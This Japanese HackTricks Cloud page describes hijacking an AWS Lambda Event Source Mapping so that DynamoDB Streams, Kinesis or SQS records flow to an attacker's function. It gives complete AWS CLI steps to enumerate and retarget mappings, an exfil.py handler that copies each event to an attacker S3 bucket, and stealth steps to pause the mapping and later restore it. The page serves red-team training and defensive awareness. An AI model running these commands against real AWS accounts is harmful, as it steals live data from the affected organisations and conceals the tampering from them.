AWS - Event Source Mapping を乗っ取り、Stream/SQS/Kinesis を攻撃者の Lambda にリダイレクト
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
UpdateEventSourceMapping を悪用して、既存の Event Source Mapping (ESM) のターゲット Lambda 関数を変更し、DynamoDB Streams、Kinesis、または SQS のレコードを攻撃者が制御する関数に配信させます。これにより、プロデューサや元の関数コードに手を加えずにライブデータを密かに横取りできます。
Impact
- プロデューサアプリや被害者のコードを変更せずに、既存の streams/queues からライブレコードを迂回して読み取ることができる。
- 被害者のトラフィックを不正な関数で処理することで、データの持ち出しやロジック改ざんが発生する可能性がある。
Required permissions
lambda:ListEventSourceMappingslambda:GetEventSourceMappinglambda:UpdateEventSourceMapping- 攻撃者が制御する Lambda をデプロイまたは参照できること(
lambda:CreateFunctionまたは既存の関数を使用する権限)。
Steps
- 被害者の関数に対する Event Source Mapping を列挙する
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- 攻撃者が制御する受信側の Lambda を準備する(同じリージョン;理想的には類似した VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- マッピングを攻撃者の関数に向け直す
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- マッピングが発火するように、ソースでイベントを生成する(例: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- 攻撃者関数がバッチを受け取ることを確認する
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- 任意の stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
注記:
- SQS ESMs に対して、キューを処理する Lambda の実行ロールには
sqs:ReceiveMessage、sqs:DeleteMessage、およびsqs:GetQueueAttributesが必要です(マネージドポリシー:AWSLambdaSQSQueueExecutionRole)。 - ESM の UUID は同じままで、変更されるのはその
FunctionArnのみです。したがって、プロデューサーとソース ARN は影響を受けません。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

